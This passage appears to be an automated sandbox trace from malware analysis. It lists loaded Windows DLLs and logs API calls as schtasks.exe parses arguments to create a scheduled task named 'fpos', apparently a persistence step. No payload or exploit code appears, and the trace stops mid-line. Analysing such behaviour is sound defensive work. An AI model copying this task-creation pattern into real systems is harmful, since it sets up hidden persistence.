"sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 4437 start_va = 0x2040000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 4438 start_va = 0x7fffffdc000 end_va = 0x7fffffddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fffffdc000" filename = "" Region: id = 4439 start_va = 0x7feffcb0000 end_va = 0x7feffd8afff monitored = 0 entry_point = 0x7feffcd0760 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 4440 start_va = 0x370000 end_va = 0x370fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000370000" filename = "" Region: id = 4441 start_va = 0x7fefe3c0000 end_va = 0x7fefe458fff monitored = 0 entry_point = 0x7fefe3c1c10 region_type = mapped_file name = "clbcatq.dll" filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll") Region: id = 4442 start_va = 0x380000 end_va = 0x380fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000380000" filename = "" Region: id = 4443 start_va = 0x7fefb890000 end_va = 0x7fefb9b6fff monitored = 0 entry_point = 0x7fefb8910ec region_type = mapped_file name = "taskschd.dll" filename = "\\Windows\\System32\\taskschd.dll" (normalized: "c:\\windows\\system32\\taskschd.dll") Region: id = 4444 start_va = 0x7fefd9f0000 end_va = 0x7fefda14fff monitored = 0 entry_point = 0x7fefd9f9658 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll") Region: id = 4446 start_va = 0x7fefc010000 end_va = 0x7fefc044fff monitored = 0 entry_point = 0x7fefc011064 region_type = mapped_file name = "xmllite.dll" filename = "\\Windows\\System32\\xmllite.dll" (normalized: "c:\\windows\\system32\\xmllite.dll") Thread: id = 194 os_tid = 0x728 [0085.934] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1ffb80 | out: lpSystemTimeAsFileTime=0x1ffb80*(dwLowDateTime=0x5c316440, dwHighDateTime=0x1d9eb0c)) [0085.934] GetCurrentProcessId () returned 0x738 [0085.935] GetCurrentThreadId () returned 0x728 [0085.935] GetTickCount () returned 0x176ae11 [0085.935] RtlQueryPerformanceCounter (in: lpPerformanceCount=0x1ffb88 | out: lpPerformanceCount=0x1ffb88*=2489241798665) returned 1 [0085.935] GetModuleHandleW (lpModuleName=0x0) returned 0xff900000 [0085.935] __set_app_type (_Type=0x1) [0085.935] SetUnhandledExceptionFilter (lpTopLevelExceptionFilter=0xff92972c) returned 0x0 [0085.935] __wgetmainargs (in: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248, _DoWildCard=0, _StartInfo=0xff94125c | out: _Argc=0xff941240, _Argv=0xff941250, _Env=0xff941248) returned 0 [0085.936] _onexit (_Func=0xff932ab0) returned 0xff932ab0 [0085.936] _onexit (_Func=0xff932ac4) returned 0xff932ac4 [0085.937] _onexit (_Func=0xff932afc) returned 0xff932afc [0085.937] _onexit (_Func=0xff932b58) returned 0xff932b58 [0085.937] _onexit (_Func=0xff932b80) returned 0xff932b80 [0085.937] _onexit (_Func=0xff932ba8) returned 0xff932ba8 [0085.937] _onexit (_Func=0xff932bd0) returned 0xff932bd0 [0085.937] _onexit (_Func=0xff932bf8) returned 0xff932bf8 [0085.937] _onexit (_Func=0xff932c20) returned 0xff932c20 [0085.938] _onexit (_Func=0xff932c48) returned 0xff932c48 [0085.938] _onexit (_Func=0xff932c70) returned 0xff932c70 [0085.938] HeapSetInformation (HeapHandle=0x0, HeapInformationClass=0x1, HeapInformation=0x0, HeapInformationLength=0x0) returned 1 [0085.938] WinSqmIsOptedIn () returned 0x0 [0085.938] GetProcessHeap () returned 0x50000 [0085.938] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x67fa0 [0085.939] SetLastError (dwErrCode=0x0) [0085.939] VerSetConditionMask (ConditionMask=0x0, TypeMask=0x2, Condition=0x3) returned 0x8000000000000018 [0085.939] VerSetConditionMask (ConditionMask=0x8000000000000018, TypeMask=0x1, Condition=0x3) returned 0x800000000000001b [0085.939] VerSetConditionMask (ConditionMask=0x800000000000001b, TypeMask=0x20, Condition=0x3) returned 0x800000000001801b [0085.939] VerifyVersionInfoW (in: lpVersionInformation=0x1ff340, dwTypeMask=0x3, dwlConditionMask=0x800000000001801b | out: lpVersionInformation=0x1ff340) returned 1 [0085.939] GetProcessHeap () returned 0x50000 [0085.939] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6bb10 [0085.939] lstrlenW (lpString="") returned 0 [0085.939] GetProcessHeap () returned 0x50000 [0085.939] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x2) returned 0x6bb30 [0085.939] GetProcessHeap () returned 0x50000 [0085.939] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65a30 [0085.939] GetProcessHeap () returned 0x50000 [0085.939] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6bb50 [0085.939] GetProcessHeap () returned 0x50000 [0085.939] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65a60 [0085.939] GetProcessHeap () returned 0x50000 [0085.939] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65a90 [0085.939] GetProcessHeap () returned 0x50000 [0085.939] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65ac0 [0085.940] GetProcessHeap () returned 0x50000 [0085.940] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65af0 [0085.940] GetProcessHeap () returned 0x50000 [0085.940] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6bb70 [0085.940] GetProcessHeap () returned 0x50000 [0085.940] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65b20 [0085.940] GetProcessHeap () returned 0x50000 [0085.940] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65b50 [0085.940] GetProcessHeap () returned 0x50000 [0085.940] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65b80 [0085.940] GetProcessHeap () returned 0x50000 [0085.940] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65bb0 [0085.940] GetProcessHeap () returned 0x50000 [0085.940] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6bb90 [0085.940] GetProcessHeap () returned 0x50000 [0085.940] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65be0 [0085.940] GetProcessHeap () returned 0x50000 [0085.940] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65c10 [0085.940] GetProcessHeap () returned 0x50000 [0085.940] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65c40 [0085.940] GetProcessHeap () returned 0x50000 [0085.940] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65c70 [0085.940] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0085.940] SetLastError (dwErrCode=0x0) [0085.940] GetProcessHeap () returned 0x50000 [0085.940] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65ca0 [0085.940] GetProcessHeap () returned 0x50000 [0085.940] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65cd0 [0085.940] GetProcessHeap () returned 0x50000 [0085.940] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65d00 [0085.940] GetProcessHeap () returned 0x50000 [0085.940] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65d30 [0085.941] GetProcessHeap () returned 0x50000 [0085.941] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65d60 [0085.941] GetProcessHeap () returned 0x50000 [0085.941] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6bbb0 [0085.941] _memicmp (_Buf1=0x6bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.941] GetProcessHeap () returned 0x50000 [0085.941] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x208) returned 0x6bd50 [0085.941] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x6bd50, nSize=0x104 | out: lpFilename="C:\\Windows\\system32\\schtasks.exe" (normalized: "c:\\windows\\system32\\schtasks.exe")) returned 0x20 [0085.941] LoadLibraryExA (lpLibFileName="VERSION.dll", hFile=0x0, dwFlags=0x0) returned 0x7fefccf0000 [0085.946] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoSizeW") returned 0x7fefccf15fc [0085.946] GetFileVersionInfoSizeW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", lpdwHandle=0x0 | out: lpdwHandle=0x0) returned 0x744 [0085.947] GetProcessHeap () returned 0x50000 [0085.947] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x74e) returned 0x6c320 [0085.947] GetProcAddress (hModule=0x7fefccf0000, lpProcName="GetFileVersionInfoW") returned 0x7fefccf1614 [0085.948] GetFileVersionInfoW (in: lptstrFilename="C:\\Windows\\system32\\schtasks.exe", dwHandle=0x0, dwLen=0x74e, lpData=0x6c320 | out: lpData=0x6c320) returned 1 [0085.948] GetProcAddress (hModule=0x7fefccf0000, lpProcName="VerQueryValueW") returned 0x7fefccf15e0 [0085.948] VerQueryValueW (in: pBlock=0x6c320, lpSubBlock="\\VarFileInfo\\Translation", lplpBuffer=0x1ff428, puLen=0x1ff490 | out: lplpBuffer=0x1ff428*=0x6c6bc, puLen=0x1ff490) returned 1 [0085.951] _memicmp (_Buf1=0x6bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.951] _vsnwprintf (in: _Buffer=0x6bd50, _BufferCount=0x3f, _Format="\\StringFileInfo\\%04x%04x\\InternalName", _ArgList=0x1ff408 | out: _Buffer="\\StringFileInfo\\040904b0\\InternalName") returned 37 [0085.951] VerQueryValueW (in: pBlock=0x6c320, lpSubBlock="\\StringFileInfo\\040904b0\\InternalName", lplpBuffer=0x1ff498, puLen=0x1ff488 | out: lplpBuffer=0x1ff498*=0x6c4e8, puLen=0x1ff488) returned 1 [0085.951] lstrlenW (lpString="schtasks.exe") returned 12 [0085.951] lstrlenW (lpString="schtasks.exe") returned 12 [0085.951] lstrlenW (lpString=".EXE") returned 4 [0085.951] StrStrIW (lpFirst="schtasks.exe", lpSrch=".EXE") returned=".exe" [0085.952] lstrlenW (lpString="schtasks.exe") returned 12 [0085.952] lstrlenW (lpString=".EXE") returned 4 [0085.952] _memicmp (_Buf1=0x6bbb0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.952] lstrlenW (lpString="schtasks") returned 8 [0085.953] GetProcessHeap () returned 0x50000 [0085.953] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x65e50 [0085.953] GetProcessHeap () returned 0x50000 [0085.953] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cc30 [0085.953] GetProcessHeap () returned 0x50000 [0085.953] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cc60 [0085.953] GetProcessHeap () returned 0x50000 [0085.953] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cc90 [0085.953] GetProcessHeap () returned 0x50000 [0085.953] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6bbd0 [0085.953] _memicmp (_Buf1=0x6bbd0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.953] GetProcessHeap () returned 0x50000 [0085.953] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xa0) returned 0x6c150 [0085.953] GetProcessHeap () returned 0x50000 [0085.953] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ccc0 [0085.954] GetProcessHeap () returned 0x50000 [0085.954] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6ccf0 [0085.954] GetProcessHeap () returned 0x50000 [0085.954] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cd20 [0085.954] GetProcessHeap () returned 0x50000 [0085.954] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6bbf0 [0085.954] _memicmp (_Buf1=0x6bbf0, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.954] GetProcessHeap () returned 0x50000 [0085.954] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x200) returned 0x6d400 [0085.954] LoadStringW (in: hInstance=0x0, uID=0x15ed, lpBuffer=0x6d400, cchBufferMax=256 | out: lpBuffer="Type \"%s /?\" for usage.") returned 0x17 [0085.954] lstrlenW (lpString="Type \"%s /?\" for usage.") returned 23 [0085.954] GetProcessHeap () returned 0x50000 [0085.954] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x30) returned 0x67bc0 [0085.954] _vsnwprintf (in: _Buffer=0x6c150, _BufferCount=0x4f, _Format="Type \"%s /?\" for usage.", _ArgList=0x1ff408 | out: _Buffer="Type \"SCHTASKS /?\" for usage.") returned 29 [0085.954] GetProcessHeap () returned 0x50000 [0085.954] GetProcessHeap () returned 0x50000 [0085.954] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c320) returned 1 [0085.955] GetProcessHeap () returned 0x50000 [0085.955] RtlSizeHeap (HeapHandle=0x50000, Flags=0x0, MemoryPointer=0x6c320) returned 0x74e [0085.955] HeapFree (in: hHeap=0x50000, dwFlags=0x0, lpMem=0x6c320 | out: hHeap=0x50000) returned 1 [0085.956] SetLastError (dwErrCode=0x0) [0085.956] GetThreadLocale () returned 0x409 [0085.956] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.956] lstrlenW (lpString="?") returned 1 [0085.956] GetThreadLocale () returned 0x409 [0085.956] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.956] lstrlenW (lpString="create") returned 6 [0085.956] GetThreadLocale () returned 0x409 [0085.956] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.956] lstrlenW (lpString="delete") returned 6 [0085.956] GetThreadLocale () returned 0x409 [0085.956] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.956] lstrlenW (lpString="query") returned 5 [0085.956] GetThreadLocale () returned 0x409 [0085.956] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.956] lstrlenW (lpString="change") returned 6 [0085.956] GetThreadLocale () returned 0x409 [0085.956] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.956] lstrlenW (lpString="run") returned 3 [0085.956] GetThreadLocale () returned 0x409 [0085.957] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.957] lstrlenW (lpString="end") returned 3 [0085.957] GetThreadLocale () returned 0x409 [0085.957] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.957] lstrlenW (lpString="showsid") returned 7 [0085.957] GetThreadLocale () returned 0x409 [0085.957] CompareStringA (Locale=0x409, dwCmpFlags=0x1, lpString1="PARSER2", cchCount1=-1, lpString2="PARSER2", cchCount2=-1) returned 2 [0085.957] SetLastError (dwErrCode=0x0) [0085.957] SetLastError (dwErrCode=0x0) [0085.957] lstrlenW (lpString="/create") returned 7 [0085.957] lstrlenW (lpString="-/") returned 2 [0085.957] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.957] lstrlenW (lpString="?") returned 1 [0085.957] lstrlenW (lpString="?") returned 1 [0085.957] GetProcessHeap () returned 0x50000 [0085.957] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6c200 [0085.957] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.957] GetProcessHeap () returned 0x50000 [0085.957] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xa) returned 0x6c320 [0085.957] lstrlenW (lpString="create") returned 6 [0085.957] GetProcessHeap () returned 0x50000 [0085.957] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x18) returned 0x6c340 [0085.957] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.957] GetProcessHeap () returned 0x50000 [0085.957] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x14) returned 0x6c360 [0085.958] _vsnwprintf (in: _Buffer=0x6c320, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|?|") returned 3 [0085.958] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|create|") returned 8 [0085.958] lstrlenW (lpString="|?|") returned 3 [0085.958] lstrlenW (lpString="|create|") returned 8 [0085.958] SetLastError (dwErrCode=0x490) [0085.958] lstrlenW (lpString="create") returned 6 [0085.958] lstrlenW (lpString="create") returned 6 [0085.958] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.958] GetProcessHeap () returned 0x50000 [0085.958] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c320) returned 1 [0085.958] GetProcessHeap () returned 0x50000 [0085.958] RtlReAllocateHeap (Heap=0x50000, Flags=0xc, Ptr=0x6c320, Size=0x14) returned 0x6c380 [0085.958] lstrlenW (lpString="create") returned 6 [0085.958] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.958] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|create|") returned 8 [0085.958] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|create|") returned 8 [0085.958] lstrlenW (lpString="|create|") returned 8 [0085.958] lstrlenW (lpString="|create|") returned 8 [0085.958] StrStrIW (lpFirst="|create|", lpSrch="|create|") returned="|create|" [0085.958] SetLastError (dwErrCode=0x0) [0085.958] SetLastError (dwErrCode=0x0) [0085.958] SetLastError (dwErrCode=0x0) [0085.958] lstrlenW (lpString="/tn") returned 3 [0085.958] lstrlenW (lpString="-/") returned 2 [0085.959] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.959] lstrlenW (lpString="?") returned 1 [0085.959] lstrlenW (lpString="?") returned 1 [0085.959] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.959] lstrlenW (lpString="tn") returned 2 [0085.959] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.959] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|?|") returned 3 [0085.959] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|tn|") returned 4 [0085.959] lstrlenW (lpString="|?|") returned 3 [0085.959] lstrlenW (lpString="|tn|") returned 4 [0085.959] SetLastError (dwErrCode=0x490) [0085.959] lstrlenW (lpString="create") returned 6 [0085.959] lstrlenW (lpString="create") returned 6 [0085.959] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.959] lstrlenW (lpString="tn") returned 2 [0085.959] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.959] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|create|") returned 8 [0085.959] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|tn|") returned 4 [0085.959] lstrlenW (lpString="|create|") returned 8 [0085.959] lstrlenW (lpString="|tn|") returned 4 [0085.959] StrStrIW (lpFirst="|create|", lpSrch="|tn|") returned 0x0 [0085.959] SetLastError (dwErrCode=0x490) [0085.959] lstrlenW (lpString="delete") returned 6 [0085.959] lstrlenW (lpString="delete") returned 6 [0085.960] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.960] lstrlenW (lpString="tn") returned 2 [0085.960] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.960] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|delete|") returned 8 [0085.960] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|tn|") returned 4 [0085.960] lstrlenW (lpString="|delete|") returned 8 [0085.960] lstrlenW (lpString="|tn|") returned 4 [0085.960] StrStrIW (lpFirst="|delete|", lpSrch="|tn|") returned 0x0 [0085.960] SetLastError (dwErrCode=0x490) [0085.960] lstrlenW (lpString="query") returned 5 [0085.960] lstrlenW (lpString="query") returned 5 [0085.960] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.960] lstrlenW (lpString="tn") returned 2 [0085.960] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.960] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x8, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|query|") returned 7 [0085.960] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|tn|") returned 4 [0085.960] lstrlenW (lpString="|query|") returned 7 [0085.960] lstrlenW (lpString="|tn|") returned 4 [0085.960] StrStrIW (lpFirst="|query|", lpSrch="|tn|") returned 0x0 [0085.960] SetLastError (dwErrCode=0x490) [0085.960] lstrlenW (lpString="change") returned 6 [0085.960] lstrlenW (lpString="change") returned 6 [0085.960] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.961] lstrlenW (lpString="tn") returned 2 [0085.961] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.961] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x9, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|change|") returned 8 [0085.961] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|tn|") returned 4 [0085.961] lstrlenW (lpString="|change|") returned 8 [0085.961] lstrlenW (lpString="|tn|") returned 4 [0085.961] StrStrIW (lpFirst="|change|", lpSrch="|tn|") returned 0x0 [0085.961] SetLastError (dwErrCode=0x490) [0085.961] lstrlenW (lpString="run") returned 3 [0085.961] lstrlenW (lpString="run") returned 3 [0085.961] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.961] lstrlenW (lpString="tn") returned 2 [0085.961] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.961] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|run|") returned 5 [0085.961] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|tn|") returned 4 [0085.961] lstrlenW (lpString="|run|") returned 5 [0085.961] lstrlenW (lpString="|tn|") returned 4 [0085.961] StrStrIW (lpFirst="|run|", lpSrch="|tn|") returned 0x0 [0085.961] SetLastError (dwErrCode=0x490) [0085.961] lstrlenW (lpString="end") returned 3 [0085.961] lstrlenW (lpString="end") returned 3 [0085.961] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.961] lstrlenW (lpString="tn") returned 2 [0085.962] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.962] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x6, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|end|") returned 5 [0085.962] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|tn|") returned 4 [0085.962] lstrlenW (lpString="|end|") returned 5 [0085.962] lstrlenW (lpString="|tn|") returned 4 [0085.962] StrStrIW (lpFirst="|end|", lpSrch="|tn|") returned 0x0 [0085.962] SetLastError (dwErrCode=0x490) [0085.962] lstrlenW (lpString="showsid") returned 7 [0085.962] lstrlenW (lpString="showsid") returned 7 [0085.962] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.962] GetProcessHeap () returned 0x50000 [0085.962] HeapValidate (hHeap=0x50000, dwFlags=0x0, lpMem=0x6c380) returned 1 [0085.962] GetProcessHeap () returned 0x50000 [0085.962] RtlReAllocateHeap (Heap=0x50000, Flags=0xc, Ptr=0x6c380, Size=0x16) returned 0x6c380 [0085.962] lstrlenW (lpString="tn") returned 2 [0085.962] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.962] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0xa, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|showsid|") returned 9 [0085.962] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|tn|") returned 4 [0085.962] lstrlenW (lpString="|showsid|") returned 9 [0085.962] lstrlenW (lpString="|tn|") returned 4 [0085.962] StrStrIW (lpFirst="|showsid|", lpSrch="|tn|") returned 0x0 [0085.962] SetLastError (dwErrCode=0x490) [0085.963] SetLastError (dwErrCode=0x490) [0085.963] SetLastError (dwErrCode=0x0) [0085.963] lstrlenW (lpString="/tn") returned 3 [0085.963] StrChrIW (lpStart="/tn", wMatch=0x3a) returned 0x0 [0085.963] SetLastError (dwErrCode=0x490) [0085.963] SetLastError (dwErrCode=0x0) [0085.963] lstrlenW (lpString="/tn") returned 3 [0085.963] GetProcessHeap () returned 0x50000 [0085.963] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x8) returned 0x6c320 [0085.963] GetProcessHeap () returned 0x50000 [0085.963] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cd50 [0085.963] SetLastError (dwErrCode=0x0) [0085.963] SetLastError (dwErrCode=0x0) [0085.963] lstrlenW (lpString="fpos") returned 4 [0085.963] lstrlenW (lpString="-/") returned 2 [0085.963] StrChrIW (lpStart="-/", wMatch=0x66) returned 0x0 [0085.963] SetLastError (dwErrCode=0x490) [0085.963] SetLastError (dwErrCode=0x490) [0085.963] SetLastError (dwErrCode=0x0) [0085.963] lstrlenW (lpString="fpos") returned 4 [0085.963] StrChrIW (lpStart="fpos", wMatch=0x3a) returned 0x0 [0085.963] SetLastError (dwErrCode=0x490) [0085.963] SetLastError (dwErrCode=0x0) [0085.963] lstrlenW (lpString="fpos") returned 4 [0085.963] GetProcessHeap () returned 0x50000 [0085.963] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0xa) returned 0x6c3b0 [0085.963] GetProcessHeap () returned 0x50000 [0085.964] RtlAllocateHeap (HeapHandle=0x50000, Flags=0xc, Size=0x20) returned 0x6cd80 [0085.964] SetLastError (dwErrCode=0x0) [0085.964] SetLastError (dwErrCode=0x0) [0085.964] lstrlenW (lpString="/sc") returned 3 [0085.964] lstrlenW (lpString="-/") returned 2 [0085.964] StrChrIW (lpStart="-/", wMatch=0x2f) returned="/" [0085.964] lstrlenW (lpString="?") returned 1 [0085.964] lstrlenW (lpString="?") returned 1 [0085.964] _memicmp (_Buf1=0x6c200, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.964] lstrlenW (lpString="sc") returned 2 [0085.964] _memicmp (_Buf1=0x6c340, _Buf2=0xff901b08, _Size=0x7) returned 0 [0085.964] _vsnwprintf (in: _Buffer=0x6c380, _BufferCount=0x4, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|?|") returned 3 [0085.964] _vsnwprintf (in: _Buffer=0x6c360, _BufferCount=0x5, _Format="|%s|", _ArgList=0x1ff418 | out: _Buffer="|sc|") returned 4 [0085.964] lstrlenW (lpString="|?|") returned 3 [0085.964] lstrlenW (lpString="|sc|") returned 4 [0085.964] SetLastError 